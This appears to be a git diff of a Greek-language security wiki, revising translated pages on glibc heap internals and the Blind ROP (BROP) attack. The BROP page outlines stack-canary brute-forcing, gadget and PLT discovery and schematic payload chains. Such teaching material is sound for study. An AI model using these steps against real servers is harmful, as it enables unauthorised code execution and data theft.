νέο νήμα με μια μη χρησιμοποιούμενη arena, δημιουργώντας νέες αν χρειαστεί, μέχρι ένα όριο 2 φορές τον αριθμό των πυρήνων CPU για συστήματα 32-bit και 8 φορές για συστήματα 64-bit. Μόλις φτάσει το όριο, **τα νήματα πρέπει να μοιράζονται τις arenas**, οδηγώντας σε πιθανή αντιπαλότητα.
@ -39,13 +39,13 @@
1. **Αρχικός Σωρός vs. Subheaps**: 1. **Αρχικός Σωρός vs. Subheaps**:
* Ο αρχικός σωρός βρίσκεται ακριβώς μετά το δυαδικό αρχείο του προγράμματος στη μνήμη και επεκτείνεται χρησιμοποιώντας την κλήση συστήματος `sbrk`. * Ο αρχικός σωρός βρίσκεται ακριβώς μετά το δυαδικό αρχείο του προγράμματος στη μνήμη και επεκτείνεται χρησιμοποιώντας την κλήση συστήματος `sbrk`.
* Τα subheaps, που χρησιμοποιούνται από δευτερεύουσες arenas, δημιουργούνται μέσω του `mmap`, μιας κλήσης συστήματος που χαρτογραφεί μια καθορισμένη περιοχή μνήμης. * Τα subheaps, που χρησιμοποιούνται από δευτερεύουσες arenas, δημιουργούνται μέσω `mmap`, μιας κλήσης συστήματος που χαρτογραφεί μια καθορισμένη περιοχή μνήμης.
2. **Δέσμευση Μνήμης με `mmap`**: 2. **Δέσμευση Μνήμης με `mmap`**:
* Όταν ο διαχειριστής του σωρού δημιουργεί ένα subheap, δεσμεύει ένα μεγάλο μπλοκ μνήμης μέσω του `mmap`. Αυτή η δέσμευση δεν δεσμεύει άμεσα μνήμη; απλώς καθορίζει μια περιοχή που δεν πρέπει να χρησιμοποιούν άλλες διαδικασίες ή δεσμεύσεις του συστήματος. * Όταν ο διαχειριστής του σωρού δημιουργεί ένα subheap, δεσμεύει ένα μεγάλο μπλοκ μνήμης μέσω `mmap`. Αυτή η δέσμευση δεν δεσμεύει άμεσα μνήμη; απλώς καθορίζει μια περιοχή που δεν πρέπει να χρησιμοποιούν άλλες διαδικασίες ή δεσμεύσεις του συστήματος.
* Από προεπιλογή, το μέγεθος που έχει δεσμευτεί για ένα subheap είναι 1 MB για διαδικασίες 32-bit και 64 MB για διαδικασίες 64-bit. * Από προεπιλογή, το μέγεθος που έχει δεσμευτεί για ένα subheap είναι 1 MB για διαδικασίες 32-bit και 64 MB για διαδικασίες 64-bit.
3. **Σταδιακή Επέκταση με `mprotect`**: 3. **Σταδιακή Επέκταση με `mprotect`**:
* Η δεσμευμένη περιοχή μνήμης αρχικά σημειώνεται ως `PROT_NONE`, υποδεικνύοντας ότι ο πυρήνας δεν χρειάζεται να δεσμεύσει φυσική μνήμη σε αυτό το χώρο ακόμα. * Η δεσμευμένη περιοχή μνήμης αρχικά σημειώνεται ως `PROT_NONE`, υποδεικνύοντας ότι ο πυρήνας δεν χρειάζεται να δεσμεύσει φυσική μνήμη σε αυτό το χώρο ακόμα.
* Για να "αναπτυχθεί" το subheap, ο διαχειριστής του σωρού χρησιμοποιεί το `mprotect` για να αλλάξει τις άδειες σελίδας από `PROT_NONE` σε `PROT_READ | PROT_WRITE`, προτρέποντας τον πυρήνα να δεσμεύσει φυσική μνήμη στις προηγουμένως δεσμευμένες διευθύνσεις. Αυτή η σταδιακή προσέγγιση επιτρέπει στο subheap να επεκτείνεται κατά ανάγκη. * Για να "μεγαλώσει" το subheap, ο διαχειριστής του σωρού χρησιμοποιεί το `mprotect` για να αλλάξει τις άδειες σελίδας από `PROT_NONE` σε `PROT_READ | PROT_WRITE`, προτρέποντας τον πυρήνα να δεσμεύσει φυσική μνήμη στις προηγουμένως δεσμευμένες διευθύνσεις. Αυτή η σταδιακή προσέγγιση επιτρέπει στο subheap να επεκτείνεται κατά ανάγκη.
* Μόλις εξαντληθεί ολόκληρο το subheap, ο διαχειριστής του σωρού δημιουργεί ένα νέο subheap για να συνεχίσει τη δέσμευση. * Μόλις εξαντληθεί ολόκληρο το subheap, ο διαχειριστής του σωρού δημιουργεί ένα νέο subheap για να συνεχίσει τη δέσμευση.
### heap\_info <a href="#heap_info" id="heap_info"></a> ### heap\_info <a href="#heap_info" id="heap_info"></a>
@ -70,11 +70,11 @@ char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK];
``` ```
### malloc\_state ### malloc\_state
**Κάθε σωρός** (κύρια αρένα ή άλλες αρένες νημάτων) έχει μια **δομή `malloc_state`.**\ **Κάθε σωρός** (κύρια αρένα ή άλλες αρένες νημάτων) έχει μια **`malloc_state` δομή.**\
Είναι σημαντικό να σημειωθεί ότι η **δομή `malloc_state` της κύριας αρένας** είναι μια **παγκόσμια μεταβλητή στη libc** (άρα βρίσκεται στον χώρο μνήμης της libc).\ Είναι σημαντικό να σημειωθεί ότι η **κύρια αρένα `malloc_state`** δομή είναι μια **παγκόσμια μεταβλητή στη libc** (επομένως βρίσκεται στον χώρο μνήμης της libc).\
Στην περίπτωση των δομών **`malloc_state`** των σωρών νημάτων, βρίσκονται **μέσα στη "σωρό" του δικού τους νήματος**. Στην περίπτωση των **`malloc_state`** δομών των σωρών των νημάτων, βρίσκονται **μέσα στη δική τους "σωρό" νημάτων**.
Υπάρχουν μερικά ενδιαφέροντα πράγματα που πρέπει να σημειωθούν από αυτή τη δομή (δείτε τον παρακάτω κώδικα C): Υπάρχουν μερικά ενδιαφέροντα πράγματα να σημειωθούν από αυτή τη δομή (δείτε τον κώδικα C παρακάτω):
* `__libc_lock_define (, mutex);` Υπάρχει για να διασφαλίσει ότι αυτή η δομή από τη σωρό προσπελάζεται από 1 νήμα τη φορά * `__libc_lock_define (, mutex);` Υπάρχει για να διασφαλίσει ότι αυτή η δομή από τη σωρό προσπελάζεται από 1 νήμα τη φορά
* Σημαίες: * Σημαίες:
@ -89,8 +89,8 @@ char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK];
* Ο `mchunkptr bins[NBINS * 2 - 2];` περιέχει **δείκτες** στους **πρώτους και τελευταίους κομμάτια** των μικρών, μεγάλων και αταξινόμητων **δοχείων** (το -2 είναι επειδή ο δείκτης 0 δεν χρησιμοποιείται) * Ο `mchunkptr bins[NBINS * 2 - 2];` περιέχει **δείκτες** στους **πρώτους και τελευταίους κομμάτια** των μικρών, μεγάλων και αταξινόμητων **δοχείων** (το -2 είναι επειδή ο δείκτης 0 δεν χρησιμοποιείται)
* Επομένως, το **πρώτο κομμάτι** αυτών των δοχείων θα έχει έναν **ανάποδο δείκτη σε αυτή τη δομή** και το **τελευταίο κομμάτι** αυτών των δοχείων θα έχει έναν **προForward δείκτη** σε αυτή τη δομή. Αυτό σημαίνει βασικά ότι αν μπορείτε να **διαρρεύσετε αυτές τις διευθύνσεις στην κύρια αρένα** θα έχετε έναν δείκτη στη δομή στη **libc**. * Επομένως, το **πρώτο κομμάτι** αυτών των δοχείων θα έχει έναν **ανάποδο δείκτη σε αυτή τη δομή** και το **τελευταίο κομμάτι** αυτών των δοχείων θα έχει έναν **προForward δείκτη** σε αυτή τη δομή. Αυτό σημαίνει βασικά ότι αν μπορείτε να **διαρρεύσετε αυτές τις διευθύνσεις στην κύρια αρένα** θα έχετε έναν δείκτη στη δομή στη **libc**.
* Οι δομές `struct malloc_state *next;` και `struct malloc_state *next_free;` είναι συνδεδεμένες λίστες αρεών * Οι δομές `struct malloc_state *next;` και `struct malloc_state *next_free;` είναι συνδεδεμένες λίστες αρεών
* Το κομμάτι `top` είναι το τελευταίο "κομμάτι", το οποίο είναι βασικά **όλος ο χώρος που απομένει στη σωρό**. Μόλις το κομμάτι κορυφής είναι "άδειο", η σωρός έχει χρησιμοποιηθεί εντελώς και χρειάζεται να ζητήσει περισσότερο χώρο. * Το `top` κομμάτι είναι το τελευταίο "κομμάτι", το οποίο είναι βασικά **όλος ο χώρος που απομένει στη σωρό**. Μόλις το κομμάτι κορυφής είναι "άδειο", η σωρός έχει χρησιμοποιηθεί εντελώς και χρειάζεται να ζητήσει περισσότερο χώρο.
* Το κομμάτι `last reminder` προέρχεται από περιπτώσεις όπου δεν είναι διαθέσιμο ένα κομμάτι ακριβούς μεγέθους και επομένως ένα μεγαλύτερο κομμάτι χωρίζεται, ένα δείκτης που απομένει τοποθετείται εδώ. * Το `last reminder` κομμάτι προέρχεται από περιπτώσεις όπου δεν είναι διαθέσιμο ένα κομμάτι ακριβούς μεγέθους και επομένως ένα μεγαλύτερο κομμάτι χωρίζεται, ένα δείκτης που απομένει τοποθετείται εδώ.
```c ```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1812 // From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1812
@ -177,12 +177,12 @@ typedef struct malloc_chunk* mchunkptr;
<figure><img src="../../.gitbook/assets/image (1243).png" alt=""><figcaption><p><a href="https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png">https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png</a></p></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1243).png" alt=""><figcaption><p><a href="https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png">https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png</a></p></figcaption></figure>
{% hint style="info" %} {% hint style="info" %}
Σημειώστε πώς η σύνδεση της λίστας με αυτόν τον τρόπο αποτρέπει την ανάγκη να υπάρχει ένα πίνακας όπου καταχωρείται κάθε κομμάτι. Σημειώστε πώς η σύνδεση της λίστας με αυτόν τον τρόπο αποτρέπει την ανάγκη να υπάρχει ένα πίνακας όπου κάθε κομμάτι καταχωρείται.
{% endhint %} {% endhint %}
### Δείκτες Κομματιών ### Δείκτες Κομματιών
Όταν χρησιμοποιείται το malloc επιστρέφεται ένας δείκτης στο περιεχόμενο που μπορεί να γραφτεί (αμέσως μετά τις κεφαλίδες), ωστόσο, όταν διαχειρίζεστε κομμάτια, χρειάζεται ένας δείκτης στην αρχή των κεφαλίδων (μεταδεδομένα).\ Όταν χρησιμοποιείται malloc, επιστρέφεται ένας δείκτης στο περιεχόμενο που μπορεί να γραφτεί (αμέσως μετά τις κεφαλίδες), ωστόσο, όταν διαχειρίζεστε κομμάτια, χρειάζεται ένας δείκτης στην αρχή των κεφαλίδων (μεταδεδομένα).\
Για αυτές τις μετατροπές χρησιμοποιούνται αυτές οι συναρτήσεις: Για αυτές τις μετατροπές χρησιμοποιούνται αυτές οι συναρτήσεις:
```c ```c
// https://github.com/bminor/glibc/blob/master/malloc/malloc.c // https://github.com/bminor/glibc/blob/master/malloc/malloc.c
@ -351,7 +351,7 @@ people extending or adapting this malloc.
#define clear_inuse_bit_at_offset(p, s) \ #define clear_inuse_bit_at_offset(p, s) \
(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size &= ~(PREV_INUSE)) (((mchunkptr) (((char *) (p)) + (s)))->mchunk_size &= ~(PREV_INUSE))
``` ```
* Ρυθμίστε την κεφαλή και το υποσέλιδο (όταν χρησιμοποιούνται οι αριθμοί κομματιών) * Ρυθμίστε την κεφαλή και το υποσέλιδο (όταν χρησιμοποιούνται οι αριθμοί τμημάτων)
```c ```c
/* Set size at head, without disturbing its use bit */ /* Set size at head, without disturbing its use bit */
#define set_head_size(p, s) ((p)->mchunk_size = (((p)->mchunk_size & SIZE_BITS) | (s))) #define set_head_size(p, s) ((p)->mchunk_size = (((p)->mchunk_size & SIZE_BITS) | (s)))
@ -414,7 +414,7 @@ Set a breakpoint at the end of the main function and lets find out where the inf
Είναι δυνατόν να δούμε ότι η συμβολοσειρά panda αποθηκεύτηκε στη διεύθυνση `0xaaaaaaac12a0` (η οποία ήταν η διεύθυνση που δόθηκε ως απάντηση από το malloc μέσα στο `x0`). Ελέγχοντας 0x10 bytes πριν, είναι δυνατόν να δούμε ότι το `0x0` αντιπροσωπεύει ότι το **προηγούμενο κομμάτι δεν χρησιμοποιείται** (μήκος 0) και ότι το μήκος αυτού του κομματιού είναι `0x21`. Είναι δυνατόν να δούμε ότι η συμβολοσειρά panda αποθηκεύτηκε στη διεύθυνση `0xaaaaaaac12a0` (η οποία ήταν η διεύθυνση που δόθηκε ως απάντηση από το malloc μέσα στο `x0`). Ελέγχοντας 0x10 bytes πριν, είναι δυνατόν να δούμε ότι το `0x0` αντιπροσωπεύει ότι το **προηγούμενο κομμάτι δεν χρησιμοποιείται** (μήκος 0) και ότι το μήκος αυτού του κομματιού είναι `0x21`.
Οι επιπλέον χώροι που έχουν κρατηθεί (0x21-0x10=0x11) προέρχονται από τους **προστιθέμενους επικεφαλίδες** (0x10) και το 0x1 δεν σημαίνει ότι κρατήθηκε 0x21B αλλά τα τελευταία 3 bits του μήκους του τρέχοντος κεφαλαίου έχουν κάποιες ειδικές σημασίες. Καθώς το μήκος είναι πάντα ευθυγραμμισμένο σε 16 byte (σε μηχανές 64 bits), αυτά τα bits στην πραγματικότητα δεν θα χρησιμοποιηθούν ποτέ από τον αριθμό μήκους. Οι επιπλέον χώροι που έχουν κρατηθεί (0x21-0x10=0x11) προέρχονται από τους **προστιθέμενους επικεφαλίδες** (0x10) και το 0x1 δεν σημαίνει ότι κρατήθηκε 0x21B αλλά τα τελευταία 3 bits του μήκους της τρέχουσας επικεφαλίδας έχουν κάποιες ειδικές σημασίες. Καθώς το μήκος είναι πάντα ευθυγραμμισμένο σε 16 bytes (σε μηχανές 64 bits), αυτά τα bits στην πραγματικότητα δεν θα χρησιμοποιηθούν ποτέ από τον αριθμό μήκους.
``` ```
0x1: Previous in Use - Specifies that the chunk before it in memory is in use 0x1: Previous in Use - Specifies that the chunk before it in memory is in use
0x2: Is MMAPPED - Specifies that the chunk was obtained with mmap() 0x2: Is MMAPPED - Specifies that the chunk was obtained with mmap()
@ -470,13 +470,13 @@ return 0;
Αναλύοντας το προηγούμενο παράδειγμα, είναι δυνατόν να δούμε πώς στην αρχή υπάρχει μόνο 1 αρένα: Αναλύοντας το προηγούμενο παράδειγμα, είναι δυνατόν να δούμε πώς στην αρχή υπάρχει μόνο 1 αρένα:
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Στη συνέχεια, μετά την κλήση του πρώτου νήματος, αυτού που καλεί το malloc, δημιουργείται μια νέα αρένα: Στη συνέχεια, μετά την κλήση του πρώτου νήματος, αυτού που καλεί το malloc, δημιουργείται μια νέα αρένα:
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
και μέσα σε αυτήν μπορούν να βρεθούν μερικά κομμάτια: και μέσα σε αυτήν μπορούν να βρεθούν κάποια κομμάτια:
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

View file

@ -17,7 +17,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
## Basic Information ## Basic Information
Ο στόχος αυτής της επίθεσης είναι να μπορέσουμε να **καταχραστούμε ένα ROP μέσω μιας υπερχείλισης buffer χωρίς καμία πληροφορία για το ευάλωτο δυαδικό αρχείο**.\ Ο στόχος αυτής της επίθεσης είναι να μπορέσουμε να **καταχραστούμε ένα ROP μέσω ενός buffer overflow χωρίς καμία πληροφορία για το ευάλωτο δυαδικό αρχείο**.\
Αυτή η επίθεση βασίζεται στο εξής σενάριο: Αυτή η επίθεση βασίζεται στο εξής σενάριο:
* Μια ευπάθεια στο stack και γνώση του πώς να την ενεργοποιήσουμε. * Μια ευπάθεια στο stack και γνώση του πώς να την ενεργοποιήσουμε.
@ -25,52 +25,52 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
## Attack ## Attack
### **1. Βρείτε την ευάλωτη απόσταση** στέλνοντας έναν επιπλέον χαρακτήρα μέχρι να ανιχνευθεί μια δυσλειτουργία του server ### **1. Βρείτε την ευάλωτη απόσταση** στέλνοντας ένα επιπλέον χαρακτήρα μέχρι να ανιχνευθεί μια δυσλειτουργία του server
### **2. Brute-force canary** για να το διαρρεύσετε ### **2. Brute-force canary** για να το διαρρεύσουμε
### **3. Brute-force αποθηκευμένες διευθύνσεις RBP και RIP** στο stack για να τις διαρρεύσετε ### **3. Brute-force αποθηκευμένες διευθύνσεις RBP και RIP** στο stack για να τις διαρρεύσουμε
Μπορείτε να βρείτε περισσότερες πληροφορίες για αυτές τις διαδικασίες [εδώ (BF Forked & Threaded Stack Canaries)](../common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md) και [εδώ (BF Addresses in the Stack)](../common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md). Μπορείτε να βρείτε περισσότερες πληροφορίες για αυτές τις διαδικασίες [εδώ (BF Forked & Threaded Stack Canaries)](../common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md) και [εδώ (BF Addresses in the Stack)](../common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md).
### **4. Βρείτε το gadget STOP** ### **4. Βρείτε το gadget STOP**
Αυτό το gadget επιτρέπει βασικά να επιβεβαιωθεί ότι κάτι ενδιαφέρον εκτελέστηκε από το gadget ROP επειδή η εκτέλεση δεν κατέρρευσε. Συνήθως, αυτό το gadget θα είναι κάτι που **σταματά την εκτέλεση** και είναι τοποθετημένο στο τέλος της αλυσίδας ROP όταν αναζητάμε gadgets ROP για να επιβεβαιώσουμε ότι εκτελέστηκε ένα συγκεκριμένο gadget ROP. Αυτό το gadget επιτρέπει βασικά να επιβεβαιώσουμε ότι κάτι ενδιαφέρον εκτελέστηκε από το ROP gadget επειδή η εκτέλεση δεν κατέρρευσε. Συνήθως, αυτό το gadget θα είναι κάτι που **σταματά την εκτέλεση** και είναι τοποθετημένο στο τέλος της αλυσίδας ROP όταν αναζητούμε ROP gadgets για να επιβεβαιώσουμε ότι εκτελέστηκε ένα συγκεκριμένο ROP gadget.
### **5. Βρείτε το gadget BROP** ### **5. Βρείτε το gadget BROP**
Αυτή η τεχνική χρησιμοποιεί το [**ret2csu**](ret2csu.md) gadget. Και αυτό συμβαίνει επειδή αν αποκτήσετε πρόσβαση σε αυτό το gadget στη μέση κάποιων εντολών, αποκτάτε gadgets για να ελέγξετε **`rsi`** και **`rdi`**: Αυτή η τεχνική χρησιμοποιεί το [**ret2csu**](ret2csu.md) gadget. Και αυτό συμβαίνει επειδή αν αποκτήσετε πρόσβαση σε αυτό το gadget στη μέση κάποιων εντολών, αποκτάτε gadgets για να ελέγξετε **`rsi`** και **`rdi`**:
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
Αυτά θα είναι τα gadgets: Αυτά θα είναι τα gadgets:
* `pop rsi; pop r15; ret` * `pop rsi; pop r15; ret`
* `pop rdi; ret` * `pop rdi; ret`
Παρατηρήστε πώς με αυτά τα gadgets είναι δυνατό να **ελέγξετε 2 παραμέτρους** μιας συνάρτησης που θα καλέσετε. Παρατηρήστε πώς με αυτά τα gadgets είναι δυνατό να **ελέγξετε 2 παραμέτρους** μιας συνάρτησης για να καλέσετε.
Επίσης, παρατηρήστε ότι το gadget ret2csu έχει μια **πολύ μοναδική υπογραφή** επειδή θα popάρει 6 καταχωρητές από το stack. Έτσι, στέλνοντας μια αλυσίδα όπως: Επίσης, παρατηρήστε ότι το ret2csu gadget έχει μια **πολύ μοναδική υπογραφή** επειδή θα popάρει 6 καταχωρητές από το stack. Έτσι, στέλνοντας μια αλυσίδα όπως:
`'A' * offset + canary + rbp + ADDR + 0xdead * 6 + STOP` `'A' * offset + canary + rbp + ADDR + 0xdead * 6 + STOP`
Αν το **STOP εκτελείται**, αυτό σημαίνει βασικά ότι χρησιμοποιήθηκε μια **διεύθυνση που popάρει 6 καταχωρητές** από το stack. Ή ότι η διεύθυνση που χρησιμοποιήθηκε ήταν επίσης μια διεύθυνση STOP. Αν το **STOP εκτελείται**, αυτό σημαίνει βασικά ότι χρησιμοποιήθηκε μια **διεύθυνση που popάρει 6 καταχωρητές** από το stack. Ή ότι η διεύθυνση που χρησιμοποιήθηκε ήταν επίσης μια διεύθυνση STOP.
Για να **αφαιρεθεί αυτή η τελευταία επιλογή**, εκτελείται μια νέα αλυσίδα όπως η παρακάτω και δεν πρέπει να εκτελεί το gadget STOP για να επιβεβαιώσει ότι το προηγούμενο popάρισε 6 καταχωρητές: Για να **αφαιρέσουμε αυτή την τελευταία επιλογή**, εκτελείται μια νέα αλυσίδα όπως η εξής και δεν πρέπει να εκτελεί το gadget STOP για να επιβεβαιώσει ότι το προηγούμενο popάρισε 6 καταχωρητές:
`'A' * offset + canary + rbp + ADDR` `'A' * offset + canary + rbp + ADDR`
Γνωρίζοντας τη διεύθυνση του gadget ret2csu, είναι δυνατό να **συμπεράνουμε τη διεύθυνση των gadgets για να ελέγξουμε `rsi` και `rdi`**. Γνωρίζοντας τη διεύθυνση του ret2csu gadget, είναι δυνατό να **συμπεράνουμε τη διεύθυνση των gadgets για να ελέγξουμε `rsi` και `rdi`**.
### 6. Βρείτε το PLT ### 6. Βρείτε το PLT
Ο πίνακας PLT μπορεί να αναζητηθεί από 0x400000 ή από τη **διαρρεύσουσα διεύθυνση RIP** από το stack (αν χρησιμοποιείται **PIE**). Οι **καταχωρήσεις** του πίνακα είναι **χωρισμένες κατά 16B** (0x10B), και όταν καλείται μια συνάρτηση, ο server δεν καταρρέει ακόμη και αν οι παράμετροι δεν είναι σωστές. Επίσης, η έλεγχος της διεύθυνσης μιας καταχώρησης στο **PLT + 6B επίσης δεν καταρρέει** καθώς είναι ο πρώτος κώδικας που εκτελείται. Ο πίνακας PLT μπορεί να αναζητηθεί από 0x400000 ή από τη **διαρρεύσουσα διεύθυνση RIP** από το stack (αν χρησιμοποιείται **PIE**). Οι **καταχωρήσεις** του πίνακα είναι **χωρισμένες κατά 16B** (0x10B), και όταν καλείται μια συνάρτηση, ο server δεν καταρρέει ακόμη και αν οι παράμετροι δεν είναι σωστοί. Επίσης, η έλεγχος της διεύθυνσης μιας καταχώρησης στο **PLT + 6B επίσης δεν καταρρέει** καθώς είναι ο πρώτος κώδικας που εκτελείται.
Επομένως, είναι δυνατό να βρείτε τον πίνακα PLT ελέγχοντας τις εξής συμπεριφορές: Επομένως, είναι δυνατό να βρείτε τον πίνακα PLT ελέγχοντας τις εξής συμπεριφορές:
* `'A' * offset + canary + rbp + ADDR + STOP` -> καμία κατάρρευση * `'A' * offset + canary + rbp + ADDR + STOP` -> χωρίς κατάρρευση
* `'A' * offset + canary + rbp + (ADDR + 0x6) + STOP` -> καμία κατάρρευση * `'A' * offset + canary + rbp + (ADDR + 0x6) + STOP` -> χωρίς κατάρρευση
* `'A' * offset + canary + rbp + (ADDR + 0x10) + STOP` -> καμία κατάρρευση * `'A' * offset + canary + rbp + (ADDR + 0x10) + STOP` -> χωρίς κατάρρευση
### 7. Εύρεση strcmp ### 7. Εύρεση strcmp
@ -78,18 +78,18 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
Είναι δυνατό να βρείτε την τοποθεσία της **`strcmp`** στον PLT με βάση τη συμπεριφορά της χρησιμοποιώντας το γεγονός ότι μπορούμε τώρα να ελέγξουμε τις 2 πρώτες παραμέτρους των συναρτήσεων: Είναι δυνατό να βρείτε την τοποθεσία της **`strcmp`** στον PLT με βάση τη συμπεριφορά της χρησιμοποιώντας το γεγονός ότι μπορούμε τώρα να ελέγξουμε τις 2 πρώτες παραμέτρους των συναρτήσεων:
* strcmp(\<μη αναγνώσιμη διεύθυνση>, \<μη αναγνώσιμη διεύθυνση>) -> κατάρρευση * strcmp(\<non read addr>, \<non read addr>) -> κατάρρευση
* strcmp(\<μη αναγνώσιμη διεύθυνση>, \<αναγνώσιμη διεύθυνση>) -> κατάρρευση * strcmp(\<non read addr>, \<read addr>) -> κατάρρευση
* strcmp(\<αναγνώσιμη διεύθυνση>, \<μη αναγνώσιμη διεύθυνση>) -> κατάρρευση * strcmp(\<read addr>, \<non read addr>) -> κατάρρευση
* strcmp(\<αναγνώσιμη διεύθυνση>, \<αναγνώσιμη διεύθυνση>) -> καμία κατάρρευση * strcmp(\<read addr>, \<read addr>) -> χωρίς κατάρρευση
Είναι δυνατό να ελέγξετε αυτό καλώντας κάθε καταχώρηση του πίνακα PLT ή χρησιμοποιώντας τη **αργή διαδρομή PLT** που βασικά συνίσταται στο **να καλείτε μια καταχώρηση στον πίνακα PLT + 0xb** (η οποία καλεί το **`dlresolve`**) ακολουθούμενη στο stack από τον **αριθμό καταχώρησης που θέλετε να ελέγξετε** (ξεκινώντας από το μηδέν) για να σαρώσετε όλες τις καταχωρήσεις PLT από την πρώτη: Είναι δυνατό να ελέγξετε αυτό καλώντας κάθε καταχώρηση του πίνακα PLT ή χρησιμοποιώντας το **PLT slow path** που βασικά συνίσταται στο **να καλέσετε μια καταχώρηση στον πίνακα PLT + 0xb** (που καλεί το **`dlresolve`**) ακολουθούμενη στο stack από τον **αριθμό καταχώρησης που θέλετε να ελέγξετε** (ξεκινώντας από το μηδέν) για να σαρώσετε όλες τις καταχωρήσεις PLT από την πρώτη:
* strcmp(\<μη αναγνώσιμη διεύθυνση>, \<αναγνώσιμη διεύθυνση>) -> κατάρρευση * strcmp(\<non read addr>, \<read addr>) -> κατάρρευση
* `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> Θα καταρρεύσει * `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> Θα καταρρεύσει
* strcmp(\<αναγνώσιμη διεύθυνση>, \<μη αναγνώσιμη διεύθυνση>) -> κατάρρευση * strcmp(\<read addr>, \<non read addr>) -> κατάρρευση
* `b'A' * offset + canary + rbp + (BROP + 0x9) + p64(0x300) + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` * `b'A' * offset + canary + rbp + (BROP + 0x9) + p64(0x300) + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`
* strcmp(\<αναγνώσιμη διεύθυνση>, \<αναγνώσιμη διεύθυνση>) -> καμία κατάρρευση * strcmp(\<read addr>, \<read addr>) -> χωρίς κατάρρευση
* `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` * `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`
Θυμηθείτε ότι: Θυμηθείτε ότι:
@ -106,7 +106,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
### 8. Εύρεση Write ή ισοδύναμου ### 8. Εύρεση Write ή ισοδύναμου
Τέλος, χρειάζεται ένα gadget που να εξάγει δεδομένα προκειμένου να εξάγει το δυαδικό αρχείο. Και σε αυτό το σημείο είναι δυνατό να **ελέγξουμε 2 παραμέτρους και να ρυθμίσουμε το `rdx` μεγαλύτερο από 0.** Τέλος, χρειάζεται ένα gadget που να εξάγει δεδομένα προκειμένου να εξάγουμε το δυαδικό αρχείο. Και σε αυτό το σημείο είναι δυνατό να **ελέγξουμε 2 παραμέτρους και να ρυθμίσουμε το `rdx` μεγαλύτερο από 0.**
Υπάρχουν 3 κοινές συναρτήσεις που θα μπορούσαν να καταχραστούν για αυτό: Υπάρχουν 3 κοινές συναρτήσεις που θα μπορούσαν να καταχραστούν για αυτό:
@ -116,15 +116,15 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
Ωστόσο, το αρχικό έγγραφο αναφέρει μόνο τη **συνάρτηση `write`**, οπότε ας μιλήσουμε γι' αυτήν: Ωστόσο, το αρχικό έγγραφο αναφέρει μόνο τη **συνάρτηση `write`**, οπότε ας μιλήσουμε γι' αυτήν:
Το τρέχον πρόβλημα είναι ότι δεν γνωρίζουμε **πού βρίσκεται η συνάρτηση write μέσα στον PLT** και δεν γνωρίζουμε **έναν αριθμό fd για να στείλουμε τα δεδομένα στη σύνδεσή μας**. Το τρέχον πρόβλημα είναι ότι δεν γνωρίζουμε **πού βρίσκεται η συνάρτηση write μέσα στον PLT** και δεν γνωρίζουμε **έναν αριθμό fd για να στείλουμε τα δεδομένα στη socket μας**.
